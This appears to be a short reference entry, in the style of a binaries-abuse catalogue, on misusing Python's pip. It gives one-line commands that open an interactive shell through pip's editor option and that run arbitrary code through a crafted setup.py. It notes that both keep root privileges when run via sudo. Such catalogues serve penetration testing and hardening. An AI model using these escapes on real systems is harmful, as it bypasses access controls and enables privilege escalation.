pip
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
pip config --editor '/bin/sh -s' editThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.pip config --editor '/bin/sh -s' edit
Inherit
This executable can inherit functions from another.
- This function can be performed by any unprivileged user.
echo '...' >setup.py pip install --break-system-packages .This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo '...' >setup.py pip install --break-system-packages .